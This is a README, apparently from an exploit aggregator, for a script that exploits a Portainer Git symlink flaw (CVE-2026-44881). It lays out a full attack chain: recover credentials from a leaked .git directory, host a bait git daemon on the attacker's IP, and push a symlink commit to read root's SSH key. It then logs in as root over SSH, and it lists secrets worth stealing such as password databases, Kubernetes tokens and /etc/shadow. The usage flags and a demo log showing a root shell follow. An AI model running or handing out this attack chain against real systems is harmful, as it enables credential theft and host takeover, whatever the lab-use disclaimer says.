Share
## https://sploitus.com/exploit?id=0EC1604B-E72F-5EC0-A160-6417C6A48750
# CVE-2026-44881 โ€” Portainer Git Symlink โ†’ Arbitrary Host File Read

Single-script exploit for **CVE-2026-44881**, a Git symlink injection in Portainer's stack-deployment flow that lets any low-privilege authenticated user with stack-creation rights read arbitrary files reachable by the Portainer process.

> **Advisory:** [GHSA-rpgq-m5fp-32wr](https://github.com/portainer/portainer/security/advisories/GHSA-rpgq-m5fp-32wr)
> **Affected:** Portainer CE `2.33.0` โ€“ `2.33.7`, `2.39.0` โ€“ `2.39.1`, `2.40.x`
> **Fixed in:** `2.33.8` (LTS), `2.39.2` (LTS), `2.41.0` (STS)

## What it does

The vulnerability is a combination of two primitives:

1. **`go-git` v5** translates Git tree entries with mode `0o120000` (symlink) into real OS symlinks during `git clone`. The only blocklisted name is `.gitmodules`; every other path โ€” including `docker-compose.yml`, which Portainer treats as the stack entry point โ€” can be a symlink with an arbitrary **relative** target.
2. **`Service.GetFileContent`** (`api/filesystem/filesystem.go`) reads the stack entry file with `os.ReadFile`, which transparently follows OS symlinks. `JoinPaths` prevents `../` in the *input string* but never calls `filepath.EvalSymlinks`, so a symlink already on disk happily resolves to its target.

Portainer commonly runs as **root** inside its container (needed for the Docker socket), so the read primitive's reach is whatever the container can see โ€” typically `/data/portainer.db` (BoltDB with every user's password hash + every API token), Kubernetes service-account tokens at `/var/run/secrets/kubernetes.io/serviceaccount/token`, Docker Swarm secrets at `/run/secrets/`, and โ€” in deployments that bind-mount the host filesystem for monitoring โ€” the host's `/etc/shadow`, `/root/.ssh/*`, and so on.

This script chains:

```
leaked .git on port 80
    โ†’ recover lowuser:password from commit history
        โ†’ Portainer login
            โ†’ create Git-backed stack with clean YAML        (validation passes, stack persists)
                โ†’ push symlink commit, trigger /git/redeploy (validation fails, working tree IS updated)
                    โ†’ GET /api/stacks/{id}/file              (returns symlink target's content)
                        โ†’ ssh -i stolen_key root@target
```

## Usage

```bash
./exploit.sh -t 192.168.1.27
```

Auto-detects the attacker IP from `ip addr` and assumes `.git` is exposed at `http://target/.git/`. Override anything that doesn't match your environment:

```
  -t, --target             target IP (required)
  -a, --attacker           attacker IP advertised to Portainer for the git daemon (auto-detected)
  -l, --leak-path          path of the exposed .git directory (default: /.git)
  -p, --portainer-port     Portainer HTTP port (default: 9000)
  -g, --git-port           local git daemon port (default: 9418)
  -w, --workdir            working directory for scratch files (default: mktemp)
  -u, --user               skip .git enumeration; use this Portainer username
  -P, --pass               skip .git enumeration; use this Portainer password
      --no-creds-from-git  skip the .git stage and require -u/-P
      --no-ssh             skip the final SSH-in step
  -h, --help               show this help and exit
```

## Demo

```
$ ./exploit.sh -t 192.168.1.27
[+] Target          : http://192.168.1.27:9000
[+] Attacker IP     : 192.168.1.34
[+] Workdir         : /tmp/cve44881-xxxx

=== Stage 1 โ€” dump leaked /.git and recover creds ===
[+] git-dumper found, running it...
[+] git history:
    3a1f9e2 oops: remove creds from repo, rotate before prod
    b4c20a6 add trial onboarding env (temp, will move to vault)
    d09a875 init: portal landing + ops notes
[+] Recovered creds: lowuser / lowuser-c0ntain3r-2026

=== Stage 2 โ€” Portainer auth ===
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] Endpoint ID: 1

=== Stage 3 โ€” host the bait Git repo on git://192.168.1.34:9418/repo.git ===
[+] git daemon up (pid 12345)

=== Stage 4 โ€” create the Git-backed stack (clean YAML) ===
[+] Stack ID: 1

=== Stage 5 โ€” push symlink commit + trigger redeploy ===
[+] redeploy response: {"message":"stack config file is invalid: top-level object must be a mapping"}

=== Stage 6 โ€” GET /api/stacks/1/file ===
[+] leaked private key saved to /tmp/cve44881-xxxx/stolen_id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----

=== Stage 7 โ€” SSH in as root with leaked key ===
=== id ===
uid=0(root) gid=0(root) groups=0(root)
=== hostname ===
containerops
=== flag ===
b7d419c8a2f6e90315b7d419c8a2f6e9

=== Done โ€” exploit complete ===
```

## Requirements

- Bash, `curl`, `jq`, `git` (with `git daemon`), `ssh`
- *Recommended:* [`git-dumper`](https://github.com/arthaud/git-dumper) โ€” `pipx install git-dumper`. The script ships a minimal built-in dumb-HTTP enumerator that handles the simple loose-object case if `git-dumper` is missing, but for any non-trivial leaked `.git` directory the full tool is much more reliable.

## Notes

- The script assumes the lab's bind-mount layout `/:/mnt/host:ro` and reads `/mnt/host/root/.ssh/id_rsa`. To target other files, edit the symlink target in Stage 5 (`../../../mnt/host/root/.ssh/id_rsa`). Portainer's go-billy chroot-jails *absolute* symlinks to the worktree, so the target **must be relative**.
- The credentials recovered from `.git` are Portainer-scoped only โ€” they don't grant SSH or any direct host access. The lab is wired so the only way to host-level RCE is through the CVE itself.
- The redeploy stage **expects** Portainer to respond with `{"message":"stack config file is invalid"}` โ€” this is the validator complaining that an SSH key isn't valid YAML. The clone has already overwritten the working tree by the time the validator runs, which is exactly what we need.

## License

MIT. For authorized testing and CTF / lab use only.